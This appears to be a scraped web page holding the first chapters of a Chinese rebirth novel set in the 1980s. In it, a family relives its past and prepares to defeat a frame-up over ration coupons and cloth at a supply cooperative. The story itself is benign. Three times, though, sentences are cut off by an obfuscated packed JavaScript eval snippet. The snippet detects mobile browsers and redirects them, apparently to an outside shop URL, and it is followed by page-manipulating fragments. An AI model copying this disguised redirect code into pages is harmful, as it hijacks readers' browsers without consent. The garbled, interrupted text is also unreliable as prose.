《爸重生妈重生姐也重生[八零]》 1. 同一个梦! 头顶有一阵冷风吹来,于秀荷迷迷糊糊睁开眼睛。她有些纳闷,睡前明明关上了窗户,空调也没对着她,怎么会有风吹过来呢? 张开眼睛,看到的不是于秀荷现代化的家,而是她小时候居住的破平房。 窗户破了一个洞,冷风刁钻的从洞里七拐八拐吹进来,好巧不巧,刚好吹到了于秀荷的头顶上。 这个窗户…… 于秀荷记得小时候她因为窗户破洞没有及时修理,夜里吹了凉风,发了高烧,妈妈汪顺莲发了好大的脾气,让爸爸于闻仲直接把窗户换掉,后来,那个窗户一直用到她们离开…… 怎么窗户上还会有洞呢? 于秀荷想说话,嗓子却疼的厉害! 刚想起身,外面突然传来妈妈汪顺莲的声音。 “老于,我有事跟你说!”声音里,带着平时没有的严肃和紧张。 于秀荷听着这个声音,鼻子一酸,她不动了,生怕破坏这个难得的梦境! 自从汪顺莲去世后,她有多久没有听过这个声音了? “顺莲,我也有话跟你说!”爸爸于闻仲的声音一如既往的低沉,只不过,多了几分难以压抑的激动。 “你先别说话,让我先说!”汪顺莲的声音没有变,可说出来的话让于秀荷有些意外! 要知道,她妈妈汪顺莲是远近闻名的‘南方姑娘’,主打一个温柔似水! 平时跟亲戚朋友的交往就不说了,能忍让就绝不会发脾气。 对丈夫于闻仲,更是言听计从,在这个家里,从没有出现过‘抢着说话’的情况! 可眼下……汪顺莲竟然‘呵斥’了于闻仲,让他别说话,还强硬的表示‘我要先说’! 太久没见过他们,现在连记忆都开始失真了! 汪顺莲的声音传来,“老于,我……我不知道该怎么跟你说,但是,请你相信我,我……我好像做了一个梦……” 汪顺莲说的断断续续,于闻仲坐在他面前,看着这个失而复得的妻子,耐心的等她说下去! “我梦见……你……对,你去世了,我带着两个孩子生活,我……”汪顺莲忍不住哽咽,“我好苦啊!” 于秀荷也忍不住开始流泪! 是啊!妈妈太苦了! 所以她今天才会做这种梦! 于闻仲听完汪顺莲的话,皱起了眉头,因为他跟汪顺莲做了相同的‘梦’! “顺莲,我也是!我梦到你被人陷害,丢了供销社的工作!我一个人养活一家子,在工厂出了意外……” 汪顺莲惊讶的看向于闻仲,两人都在对方的眼睛里看到了不可置信! 如果只是梦,怎么可能两个人做的梦一模一样? 况且,那梦里的场景,每一个细节都是如此的真实! 不光是生活上的小细节,还有社会上的大变革,那可不是他们两个小人物能够构想出来的! 唯一的可能是,那根本不是梦,是真真正正的‘一辈子’,他们过了凄惨的一辈子,如今,老天爷又给了他们一个机会,让他们重新活过来了。 两口子的双手紧紧的握在一起,心中有千言万语的话要说,相视一笑,眼泪哗啦啦的掉,可心里真高兴啊! 真好,还能看见你! “妈!”里屋一声呼喊,传到了汪顺莲和于闻仲的耳朵里。 于秀荷听着不远处发出的声音,意识到那是她的姐姐于秀雅,上辈子像妈妈一样照顾她的人。 于秀雅带着鼻音,说道,“妈,我也做了梦,一个好长的梦!” 她从床上起身,走到外屋,扑进了妈妈汪顺莲的怀里。 “我梦见爸爸死了!你也死了!我嫁给一个不喜欢的人,挺着大肚子还要干活,我好疼啊!妈妈,我好疼!” 汪顺莲和于闻仲有两个女儿,一个于秀雅,一个于秀荷,虽然只是两个丫头,但汪顺莲、于闻仲两口子像爱护眼珠子一样爱护着她们。 于秀雅长得漂亮,又受宠,性格非常的乖张,在左邻右舍都闻名! 她这样一个被疼爱着长大的女孩,竟然沦落到挺着大肚子干活,动了胎气,一尸两命的地步! 汪顺莲立刻心如刀绞,抱着于秀雅不撒手,“秀雅!你受苦了!都是妈妈没用!妈妈没能帮上你的忙!” 于秀雅在汪顺莲怀里疯狂摇头,她怎么可能怪妈妈呢? 当时,她一个人带着两个孩子,为了给她一份体面的嫁妆,几乎是通宵干活,结果死在了缝纫机上! 如果不是为了她…… 于秀雅在汪顺莲怀里嚎啕大哭! 于闻仲抱着母女,眼泪流也流不干,他一个大男人,居然有这么多的眼泪。 他嘴笨地安慰道,“都是梦!都是梦!以前的事,过去了就过去了。我保证,以后绝对不会让你们母女三个受苦!我保证!我于闻仲保证!” 哭过一阵后,三人的情绪都稳定了些! 汪顺莲给于秀雅擦干净眼泪,目光坚定地说,“秀雅,你放心,妈妈以后绝对立起来,不会再让人欺负!我在供销社的工作不会丢,你爸爸也不会死,你以后一定会嫁给自己喜欢的男孩子!妈妈保证!” 一切的罪魁祸首,导致于家一步一步掉进凄惨命运的,是不久就要发生的‘布票’事件! 哭,不能解决问题! 现在,他们要好好想想该怎么从‘布票’事件中脱身! 经历了一世,几人都不是遇到事情只能茫然的愣头青了。 “家里的各种票还有多少?”于闻仲问道。 “还有不少,都藏在床头的盒子里!” 那个盒子,只有于家四口人知道在哪,但当‘布票’事件发生后,来家里搜查的人居然一找就找到了。 汪顺莲这些年攒下来的票一张一张地摊开在围观的群众面前! 供销社的余主任严厉的质问道,“汪顺莲,你的这些票都是哪来的?普通人家的票都不够,你倒好,家里的票用不完!还说没有‘中饱私囊’!” 中饱私囊! 这么大一个帽子扣下来,汪顺莲瞬间慌了! 这些票……这些票都是她这些年一点一点省下来的啊! 她在供销社工作,可以买很多不要票的东西,都是供销社的‘残次品’,裁布剩下来的布头子、有瑕疵的次等布、碎肉、缺胳膊少腿的鸡鸭,人家拿票正正经经来买东西的,谁愿意要次等货? 拿那些东西糊弄人,难免闹出不痛快! 按照‘规矩’,这些不能拿出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315367|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去卖的‘次等货’,她们这些售货员不用票就可以买! 不止汪顺莲一个人买,大家都在买,就连在这里质问她的余主任也会买! 他怎么可能不知道呢? 汪顺莲刚想辩解,突然住了嘴! 这里这么多人,她就这么大剌剌的说出来,岂不是把大家都拉下水了?外面的人对供销社的售货员都会怎么看? 虽然大家心里都清楚,在供销社当售货员,就是有油水可捞!但当着所有人的面说出来,那就不是一回事了! “这些……这些都是我找人换来的!”汪顺莲怯懦的辩解。 如果,也只有用这个借口来当托词了! “哼!一派胡言!”主任余得有指着汪顺莲的鼻子讥讽道,“你换来的?你一个人能换这么多?好!姑且就当这些都是你换来的,那这些布呢?这些布是哪来的?你不会说也是你换来的吧?” 余得有指的是汪顺莲放在大衣柜上面的两块带着花纹的红布! 那是她专门买来给秀雅、秀荷做新衣服的。 前几天,管布匹柜台的售货员王桂香悄悄跟她说,有一匹布上的花纹染坏了,跟其他的不太一样,听说是不能卖了,问她要不要! “布上的花纹不明显,穿出去也看不出来,反正不要布票,不如给你家两个闺女买几尺,这也快过年了,该有件新衣服了!” 说的也是,两个孩子正是爱美的时候,有新衣服穿不知道会有多开心! 汪顺莲没多想,点头买了几尺,还跟王桂香道谢,“谢谢你有好事想着我,这次过年,你们家的糖包我身上了!” 汪顺莲管的是糖果柜台,一年四季都有客,尤其过年最忙! 每到过年,街坊邻居,各个同事,都想走后门,找她买糖果,生怕晚了就买不到了。 汪顺莲没少帮忙! 虽然是个小事,但态度摆出来了,都是同事,不就是你帮我,我帮你吗? 更何况王桂香是新来的! 汪顺莲自觉这个态度很到位了。 “那我先谢谢你了!”王桂香笑眯眯的说道。 拿了布,付了钱,汪顺莲也没多想,回到家就把布先放在大衣柜上了,只是没想到,余主任会拿这两块布说事! “要不是有人跟我举报,我还不知道你身为售货员,以权谋私,中饱私囊呢!” 余得有一边说话,一边拿眼睛不住的瞟旁边站着的同志。 今天他本来已经回家休息,没想到刚走到家门口,就被县里来的同志叫住了。 “你是余得有余主任吧?” 余得有看来人气质不凡,也没敢摆架子,客客气气的问道,“您是?” “我们是来查案子的!”来人从包里拿出一封信,“有人举报你们供销社有人中饱私囊,占国家的便宜!” “这……”余得有当时吓得都快跪下了,“这不可能……我们供销社怎么会有人中饱私囊呢!” “别害怕!”来人把余得有搀扶起来,笑着说,“有没有,查一查就知道了!” “查?怎么查?” “你们供销社是不是有个叫汪顺莲的?” 汪顺莲?余得有心里一紧,她是得罪谁了?竟然会惹出这种事? 2. 谋划! “一会把票都拿给我,家里留个几张就行,我明天去黑市把票全换出去!”于闻仲深思熟虑后说道。 这些票,严格说,一张一张是能解释清楚的。 可一旦被人当着大家的面翻出来,正所谓,人生在世,不能露富,一旦露了富,不管你的钱是省出来的,还是赚出来的,人家看见了,心里多少都会嫉妒! 就算解释清楚了,汪顺莲在供销社工作,‘贪污’的谣言也可能会流传出去。 与其冒着这个风险,不如直接把家里的票清一清。 一两张零零星星的散票,任谁也说不出‘贪污’二字。 “换来的钱也别往家里放!”汪顺莲提醒道。 “你放心吧,我会把钱藏在外面!”于闻仲已经想好把钱藏在哪里了,一个别人绝对想不到的地方。 “那这回还买布吗?”于秀雅问道。 上辈子就是因为那几尺布,才让人抓住了把柄。 王桂香故意把新款的花纹说成印坏的花纹,哄骗汪顺莲不用布票买下,然而,背地里,她立刻写信给县里,举报汪顺莲依仗‘老身份’欺压同事,占公家便宜。 同时,又惨兮兮的往主任办公室塞小纸条,叙述自己如何如何被欺压,如何如何委屈,又是如何如何惶恐,请求余主任帮助! 她塞小纸条的时机非常的凑巧,刚好在调查人员来到的前一刻。 调查的同志刚找到余得有询问情况,准备把汪顺莲、王桂香两人叫过去审问时,在余得有的办公室发现了‘寻求帮助’的小纸条,王桂香被欺压的‘事实’立刻得到论证。 借助权利中饱私囊、还敢大胆的欺压同事,这简直比以前的大地主更坏! 运动虽然过去了,可各方对这种情况还是很较真的。 来调查的同志气的立刻跳起,带着余得有突击搜查汪顺莲的家,‘果然’搜出了一大堆的票据! 人证、物证具在,汪顺莲辩解的话根本站不住脚。 “这个时候了,还想把脏水泼到别人身上?”调查的同志斜眼看她,“这多好的布啊?她说是印坏的,你就信啦?姑且当你说的是实话,可那些票呢?难道也是王桂香塞到你家里的?” 百口莫辩! 汪顺莲这个时候才意识到这个局的厉害! 设计这个局的人肯定对她家里的情况了如指掌,不是王桂香一个人就能弄成的。 她在供销社,偶尔能省下点肉票,买点碎布头子,也能省下布票,这一张两张的,短时间是积累不下来的,她们想成事,一定会确保她家里积攒了不少的票。 同时为了确保这些票都被搜出来,还想尽办法知道了她家藏钱的位置! 再加上王桂香这一招,就是要把汪顺莲钉死在‘中饱私囊’的耻辱架子上。 “干脆别买了!”于闻仲不想汪顺莲再被当成犯人质问,“没有由头,她们也不能来搜查,就算真来了,家里也没东西可搜!没人再能用这个借口把你从供销社赶出去!” 上辈子,除了那几尺布,调查的人也没找到什么东西。 那些票,汪顺莲在小黑屋里都一一的说清楚了。 可顾及到影响,以及那几尺布,汪顺莲还是被开除了。 不久之后,就有新人顶替了她的位置,听说还是王桂香的远房亲戚! 王桂香也因为被‘欺压’,以及勇敢反抗成为典型,警示那些妄图借助权力,为自己谋私的‘蛀虫’! “不,不能不买,必须要买!”汪顺莲说道,“没有千日防贼的道理,就算这次躲过去了,下次她们还会再来,与其防着她们不知道从哪里来的冷箭,不如借这次的事把她们的真面目揭开!” “可是……”于秀雅有些担心,“万一解释不清楚怎么办?” 万一解释不清楚,那几尺布就会变成她们一家的催命符! “秀雅,放心吧!”汪顺莲安抚着女儿,“妈妈已经有办法对付她们了!” 于闻仲看着如同新生的汪顺莲,眼睛再次湿润,“就听你妈的,咱们家堂堂正正的,这次有防备,不怕她们耍阴招!” 于秀雅靠在汪顺莲的怀里,安心的依偎着。 妈妈说的对,没有千日防贼的道理! 已经有人盯上了她们家,就算这次避开,下次还会被陷害!与其承受不知道从哪个方向飞来的冷箭,不如好好的应对这个她们提前知道的困局。 “哎呀!”汪顺莲忽然惊叫一声,“秀荷呢?” “她在里屋睡着了吧!”于闻仲说道。 三人走进里屋,正在床上躺着的于秀荷想起身,可她的身子很沉,就像被鬼压住一样,根本动弹不得。 一只冰凉的手抚摸着她的额头,于秀荷听到妈妈的声音说道,“发烧了,得赶紧送医院!” 啊!怪不得浑身疼,原来是发烧了。 于秀荷感觉到自己被人背了起来,再之后,她就什么都不知道了。 再醒来,就听见外面有人大声说话。 “呦!是于师傅啊!你今天回来的可够早的!”说话的是邻居葛大妈。 他儿子跟于闻仲一个厂,不过,可不是一个级别,他儿子顶多算个学徒,而于闻仲可是厂里大名鼎鼎的八级工。 每天一到下班时间,他儿子就着急忙慌的往家跑,生怕多给公家出一分力! 于闻仲就不一样了,每天都在厂里加班,不是给这个帮忙,就是给那个帮忙,是个老好人。 葛大妈看见儿子这吊儿郎当的样子就头疼,整天拿于闻仲做榜样,教育自家儿子,“你看看于师傅,人家有空就钻研技术,热心教人,所以人家才能成为八级工,你得多跟人家学学,精进精进技术,把你那个学徒的帽子去掉!” 他儿子总是不以为然! 可今天,他儿子还没到家呢,于闻仲就回来了。 以前从没见过这情况,葛大妈看见于闻仲走过来都被惊了一下。 “嗯!今天家里有事,回来的早了一点!” 刚说完,葛大妈的儿子火急火燎的骑着自行车到家了,还没下车就开口问道,“妈,晚上吃什么啊?” 于闻仲转头冲葛大妈的儿子徐大宝点点头,回身回了自家。 徐大宝愣了一下,很意外于闻仲会跟他打招呼。 于闻仲这种恨不得为厂里奉献一生的人最看不上他这种吊儿郎当的‘二代工’,一有机会就教导他努力、上进,比他妈都烦人。 今天太阳是从西边出来啦? 于闻仲没教育他,还跟他点头打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315368|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招呼? 奇哉!奇哉! “一天到晚,就知道吃!”葛大妈拿起手里的青菜,恨铁不成钢的在徐大宝身上打了两下,“不知道在厂里多学学?一下班就往家里跑!” “妈啊!你怎么成天就这一句话!”徐大宝把自行车推进院子里,又问了一句,“今天晚上吃什么啊?” “有什么吃什么!”葛大妈对于闻仲破天荒早下班的原因很好奇,忍不住问儿子,“于师傅今天怎么这么早下班?厂里出什么事啦?” “这我哪知道啊!”徐大宝除了自己的活,其他的什么也不关心,“您老别这么八卦,赶紧去做饭吧!我都快饿死了!” 葛大妈看着徐大宝就生气,没忍住,拿起青菜又抽了徐大宝一顿。 不过好在抽了他一顿也解气了,回头做饭去了。 这边于闻仲回了家,走进里屋,伸手摸了摸于秀荷的额头。 于秀荷迷迷糊糊睁开眼睛,她看见疼爱自己的爸爸就站在眼前,想说话,嗓子却又干又疼,艰难的咽了一口口水,才喊出那句日思夜想的称呼,“爸!” 于闻仲笑着摸了摸她的小脸,安慰道,“你昨晚吹风生病了!好好躺着,别说话了,一会儿你妈下班回来给你炖鸡汤喝!” 于秀荷笑着点点头。 虽然身上还疼着,但看见了爸爸,就感觉家里有了主心骨,非常有安全感! “里屋的窗户破了一个洞,你昨天就被那股冷风吹病的,一会儿爸去外面找几块板子,重新做一个窗户,结实一点的,再也不会被风吹坏的!” 窗户今天就开始做了吗? 在于秀荷的记忆里,这一段时间厂里要评‘优秀标兵’! 于闻仲为了得到这个标兵,一直在厂里加班,破了洞的窗户只暂时拿纸糊了一下,汪顺莲为此还跟于闻仲吵了一架。 后来,家里发生了‘布票’事件,汪顺莲的工作丢了,厂里怕影响不好,‘优秀标兵’也没给于闻仲。 两口子在家里特别沉默。 就是那个时候,于闻仲才腾出时间,修了一个特别结实的窗户。 于秀荷心里有些纳闷,她这一觉睡了这么久吗?难道‘布票’事件已经发生过了? 可不对啊!刚才于闻仲还说汪顺莲‘下班’回来会给她炖鸡汤! 于秀荷忽然想起昏迷之前听到的那段话…… 她的爸爸、妈妈、姐姐,似乎都是重生回来的。 而且,她似乎也重生了! 如果真的是这样的话,这一切就能解释的清楚了。 外屋,汪顺莲下班回来了! “鸡买回来了吗?”于闻仲问道。 “买回来了!”汪顺莲顺手把买回来的鸡放到案板上,“该说的话也都说出去了!” “那就好!”于闻仲点上一根烟,说道,“我出去买几块木板,借把好用的锤!” “去吧!” 汪顺莲说完,掀起帘子,走进里屋。 “秀荷,头还疼吗?”汪顺莲问道。 于秀荷摇摇头,“不疼了!” “妈今天给你炖鸡汤,还有小蘑菇,都是你爱吃的!”汪顺莲给于秀荷掖紧被子,“你好好休息,妈给你请了几天假,这几天不用去学校了!” 3. 前奏! 葛大妈正切着菜,门外突然有人敲门,她在围裙上擦干手,小跑着过去开门,“谁啊?” 打开门,是于闻仲站在门口。 “葛大姐,家里的锤能借我用用吗?”于闻仲笑着问道,“我家的不太好用!” “能啊!怎么不能!” 于闻仲来借东西,那有什么不能借的? 葛大妈乐意跟于闻仲来往,只不过于闻仲以前太忙,她想多说句话都没机会。 “家里什么东西坏啦?”葛大妈边去屋子里拿锤子,边随口问道。 “窗户破了一个洞,把秀荷都冻病了,我买了几块木板,准备做个新窗户!”于闻仲解释道。 “秀荷病啦?”葛大妈想起昨天晚上于家大半夜还出门,恐怕就是为了这事,“好点了吗?” “好多了!”于闻仲接过葛大妈手里的锤子,说道,“已经不烧了,医生说好好养几天,只要不再发烧就没大事!” “那就好!”葛大妈把于闻仲送出门。 她可算知道于闻仲今天为什么会这么早回来了,估计是放心不下家里生病的闺女。 谁不知道于家的两个闺女最受宠了? 尤其是他家里的大女儿,长得漂亮,家里舍不得让她吃一点苦,整天出门尾巴都翘到天上了。 “徐大宝!”葛大妈把在屋子里‘躺尸’的徐大宝薅起来,“交给你一个任务!” 徐大宝不情不愿的起来,问道,“又干什么啊?” 葛大妈从屋子里掏出一小袋鸡蛋糕,拿了几个放在小盆里,“于家的女儿秀荷病了,你把这盆鸡蛋糕送过去!” “就这两步路,你还让我去!”徐大宝很不情愿,“你自己过去不就行啦?能耽误多少功夫?” 葛大妈气的拿起旁边的擀面杖在他头上敲了一下,“我让你送过去,你就送过去。你自己不上进,还不在于师傅面前多露露脸!以后往上升了,说不定还要求着拜于师傅当老师呢!现在不抓紧机会走动走动,到时候就晚了!” “可别!”徐大宝可不想有一个于师傅这样的老师,他吃不了于闻仲那样的苦。 “别说废话,快点去!” 徐大宝不情不愿的端着鸡蛋糕往于家走。 敲开门,脸上带着笑容,说道,“嫂子,我妈让我来看看秀荷,给她拿了几个她爱吃的鸡蛋糕!” 汪顺莲立刻把人迎进门,“这怎么好意思啊!快进来!” 于闻仲正在院子里锯木头,看见徐大宝进来,笑着问道,“最近在厂里怎么样?还适应吗?” 徐大宝接的他爸的班,刚上班不到半年。 “适应适应!”徐大宝就害怕于闻仲提起厂里的事。 一提起,于闻仲就要开始‘苦口婆心’教育他了。 谁料,今天于闻仲竟然一改往日的脾气,一句‘教育’他的话也没说,“适应就好!什么事都要慢慢来,别着急!” 汪顺莲让徐大宝进屋。 于秀雅正坐在镜子面前梳头发,她长得漂亮,徐大宝不敢多看,走到躺在床上的秀荷面前,轻声问道,“秀荷,你怎么样?还发烧吗?” 于秀荷睁开眼,认出了眼前的人是谁。 是邻居葛大妈的儿子,徐大宝。 人不怎么上进,但心不坏。之前于家落魄了,其他人走路上都当看不见她们,只有徐大宝跟没事人一样跟她们打招呼。 “大宝哥!你来啦!” 于秀荷从昏迷中醒来之后,虽然只睡了一会儿,但身体恢复的很快,身上不疼了,嗓子也不干了。 “我妈听说你病了,让我给你送点鸡蛋糕!你一会儿想吃,让你妈给你泡点红糖水,你就着吃!”徐大宝把鸡蛋糕放在离床头不远的柜子上。 “知道了!你替我跟葛大妈说声谢谢!” “嘿!你这小孩!还挺有礼貌!”徐大宝是来送东西的,说两句就要走。 汪顺莲从小厨房端了一碗鸡汤,递给徐大宝,“我家炖的鸡汤,可烂了,你端回去给你妈尝尝!” “这可不行!”徐大宝连连摆手,不肯要,“我要是把鸡汤端回去,我妈肯定要打我!” 汪顺莲强行把鸡汤塞到他手里,说道,“都是邻居,有来有往的,你端回去,就说等她下次做了好吃的,也端过来一碗,我等着尝她的手艺呢!” 都这么说了,徐大宝也不好再推脱,只好笑着说道,“那就谢谢嫂子了!” 端着热腾腾的鸡汤回家,葛大妈看见,果然怒从心起,上来就要揍他。 “快快快,烫手!”徐大宝把鸡汤放在案板上。 “我让你过去送东西,你怎么还端一碗回来?”葛大妈真是恨铁不成钢。 这小孩,平时嘴馋就算了,到别人家办事还嘴馋,真是丢死人了。 “我平时缺你一口肉吃啊!你这个死孩子,你吃人家给小孩儿补身体的鸡汤!” 徐大宝在葛大妈的‘殴打’下连连讨饶,“不是的,妈,你先别打了,听我说!”徐大宝辩解道,“人家说了,邻居就是有来有往的,这次吃她做的,下次就等着吃你做的呢!人家都这么说了,我总不好不要吧!” 话都说到那份上了,徐大宝再不接。 说好听点是人有点愣,说难听点,是不想来往,故意装傻! 葛大妈也听出话里的味了,心里暗自思忖,顺莲这媳妇是开窍了吗? 以往她脾气虽然好,但人有点‘独’,也不是说不亲近,就是有点过于客气了,交不了心,今天说这话,是不是想多走动走动…… 葛大妈当然是举双手赞成的,她们家以前只有徐大宝他爹一个工人,后来,徐大宝毕业,没去处,徐大宝他爹只好把位置让出来,让儿子进厂当工人。 现在成天在外面晃悠…… 要是跟于家走的近一点,徐大宝在厂里也能有个依靠。 “行了!端回来就端回来吧!”葛大妈脸上带着笑意,“去把你爹找回来,这都什么时候了,还不回来吃饭!” 于家,汪顺莲给于秀荷盛了鸡汤,她喝了一小碗。 “好喝吗?”汪顺莲给她热了一个鸡蛋糕,“这是甜的,你先喝口水再吃。” 鸡蛋糕的味道很普通,跟现代的各种蛋糕、奶油相比,简直干涩的不像话,可于秀荷还是感觉很幸福。 “妈妈,你也吃!”于秀荷掰了一半递给汪顺莲。 “妈妈吃一小口就好,你还病着呢,多吃点!” 于秀荷吃完东西,很快又睡着了。 半梦半醒间,她听见外屋传来声音。 “是明天吧?”于闻仲问道。 “嗯,就是明天!”汪顺莲冷静回答道,“我会安排好的,你放心吧!” 明天?会是什么事?于秀荷迷迷糊糊的想,是不是‘布票’事件要来了? “秀荷怎么办?”于秀雅问道,“要让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315369|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她避开吗?” 上辈子,余主任来家里搜东西的时候,秀荷也是病着,就躺在床上,来回翻东西的人把她吓坏了,本来快好的病非但没好,反而更严重了。 “这次我们发现的早,病的轻!过几天就能下床了,等搜家那天,人一来,你就带着她躲出去!”汪顺莲说道。 “行!” 这也是没有办法的办法。 不然,于秀荷一个小孩子,生了病不在家里住,这不是让人存心生疑吗? 于秀荷一边在脑子里想各种事,一边又沉沉的睡去。 第二天,她醒来的时候,家里又只剩下于秀雅一个人了。 “姐!”于秀荷开口道,“几点了?” “都快十点了!”于秀雅起身,在脸盆里倒了点热水,弄热毛巾,给于秀荷擦脸,“饿不饿?妈留了包子在锅里,一直烧着炭,还热着呢!” “姐,我好多了!”于秀荷用毛巾擦掉脸上出的汗,整个人清爽了很多,“你怎么样?” 于秀雅听到这句问话愣了一下,转头看向坐在床上的于秀荷。 于秀荷十来岁的年纪,人长得小小的,坐在床上反而像个大人。 “我好着呢!”于秀雅把给于秀荷留着的包子和鸡汤端给她,“快吃吧!多吃点!吃饱了好得快!” 于秀荷于是埋头吃饭。 于秀雅在旁边看了一会儿,扔下一句话,“好好养病吧!别瞎操心!” 说完,从里屋出去,走到院子里,开始练身体。 上辈子迫于生计嫁人,这辈子她可得好好过。 进厂当工人、或者进供销社当售货员,都不是她想干的。 她想去当演员,先拍广告,再去演电影,演电视剧。 这可不是痴心妄想,于秀雅上辈子就有机会出去拍电影的,只不过,当时汪顺莲的工作已经没了,家里的经济一下子捉襟见肘,要去拍电影,得去外地参加遴选,能不能成不一定,但花钱是肯定的。 上辈子的于秀雅没能去,这辈子一定得去。 成不成,至少能摸到当演员的门槛! 有了门槛,凭那些年的‘远见’,借几个东风还是不难的。 里屋的于秀荷胃口大开,把汪顺莲给她留下的饭全都吃了,撑的直打嗝! 吃完擦擦嘴,重新躺回床上,看着房梁,她不禁在想,也不知道妈妈现在在干什么。 汪顺莲正在供销社的糖果柜台卖糖果,临近过年,来买糖的人可不少。 “同志,来二斤水果糖!” “好嘞!” 汪顺莲随手一铲,二斤整整好。 “这么准?” 后面排队的有当地的熟人,开口说道,“你不知道她是我们这里有名的汪一铲?但凡她经手的,颠一颠就知道有多重,绝不会再多下一铲!” “这么厉害啊!”买糖的人瞬间尊敬许多。 “熟能生巧嘛!”汪顺莲笑着把糖递给客人。 忙到中午,要暂时休息了,挂上牌子,汪顺莲故意磨蹭了一会儿。 果然,布料柜台的王桂香笑眯眯的走过来,问道,“汪姐,收拾好啦?” 汪顺莲挤出一个笑容,回应道,“就这段时间最忙,天天收拾都得收拾好一会儿。你有事找我吗?” “汪姐能干,能者多劳嘛!”王桂香笑眯眯奉承两句,便说道,“汪姐,你过来一下,我有好事跟你说。” 4. 县里来人! 好事? 汪顺莲不禁在心中冷笑! 用来害人的好事吧…… 表面挤出一丝笑容,汪顺莲走了过去,询问道,“什么好事啊?怎么想到我了?” 王桂香带着汪顺莲走到没人的角落,说道,“最近不是新进了一批布吗?其中有一匹布,上面的花纹印错了。虽然印错了,但不怎么能看出来,我想着,你家两个女儿,正是要穿漂亮衣服的年纪,现在又快过年了,不如买几尺回去,做个小袄什么的,多好啊!” “花纹印错了?”汪顺莲摆手拒绝,“桂香,你心里想着我,我谢谢你,但是,你也知道,我家那两个都被惯坏了,花纹印错了的布穿出去被人笑话,我家那两个肯定不穿!” 汪顺莲说着就要走,“我还得回去做饭呢,那匹坏布你分给大家吧!” 王桂香怎么可能这么轻易就放汪顺莲离开? 她紧紧拉住汪顺莲的手,把她拽回来,“汪姐,你先去看看布!要真穿不出去,我怎么可能专门跑过来找你?” 汪顺莲也是假意离开,王桂香生拉硬扯,她便半推半就的跟了上去。 到了布料柜台没人的地方,王桂香揭开盖在布料上的罩衣,“就是这块,怎么样?要是不提前跟你说花纹印错了,是不是一点也看不出来?” 花纹确实跟其他的不太一样,但是,看起来也不像是印错的。 “这……这么好的布,怎么会是印坏了的布呢?”汪顺莲忍不住上去摸了摸布料,“桂香,你没搞错吧?” 王桂香看见汪顺莲摸着布,眼睛都开始放光,一直悬着的心总算放进肚子里了,“汪姐,这种事情我怎么可能弄错啊!” “这布可真好啊!”汪顺莲一边摸布,一边感慨道。 “那是!”王桂香趁机劝道,“这种好事可不多见啊!我来供销社的时间不长,对我最照顾的就是汪姐你了,所以,这匹印错的布一到我手里,我立刻就想到你了!” 王桂香凑近汪顺莲,小声说道,“汪姐,这种好事我可是先想着你的。” 这种成匹的印错的布,一般都会拿一大半折价出去卖,剩下一小半供销社的人优先购买,算是内部福利。 虽说是内部福利,但并不是所有人都能买到。 先是主任、各种资历老的员工,轮到汪顺莲,不一定还能剩多少! 说不定又只能买一些布头子呢! 当然,你要是跟布料柜台的售货员关系好,她就能提前给你留出来,不过也不能多,不然别人会说闲话。 汪顺莲自认跟王桂香的关系没有好到这份上,有些不好意思的说道,“桂香,那这次就谢谢你了!你们家过年的糖果就包在我身上了,最近从北方新进了一批糖,可甜了!” “嗨!汪姐!什么谢不谢的,你这话就见外了!”王桂香又露出熟悉的眯眼笑,“我初来乍到的,以后还指望汪姐您这种老人照顾我呢!” “好说好说!”汪顺莲答应下来,“以后我肯定照顾你!” “那我给汪姐扯几尺布,你今天就拿回家去,赶早给闺女做个小袄!”说着,王桂香就开始拿剪刀裁布,“汪姐,你要多少?” 汪顺莲笑着说道,“就来7尺吧!” “7尺?”王桂香觉得有点少,这点布根本不严重,“两个闺女呢,这点布哪够啊?可不能厚此薄彼,不然过年家里要吵起来啦!” 她故作亲昵,一幅别跟我客气的样子,“多来点!这布可是我专门给你留的。主任、同事那边你就别担心了,你再多要点也少不了他们的。” 汪顺莲从怀里拿出钞票,开始叹气,“我倒是想买,可一到过年,家里到处都要花钱,哪还能花这么多钱在新衣服上!7尺就够了,我拆两件旧衣服,做个面子鲜就能凑合着过年了!” 王桂香还要劝,“汪姐,这可是难得一遇的好布啊!这个花纹虽然印错了,可不耽误穿,以后再想要,那可真是没有了!” “再好的事也不能贪多!”汪顺莲把钱递给王桂香,“还是八折的价,对吧?你点点!” 眼看劝也劝不动,王桂香只好无奈放弃。 剪刀在布上剪开一个小口,双手用力一撕,7尺布整整齐齐的撕了下来。 “桂香这手撕布的手艺真不赖,整整齐齐,跟用尺子量过,再用剪刀一点一点对齐剪开的一样!”汪顺莲摸着布夸赞道,“我看应该叫你‘王一撕’!” 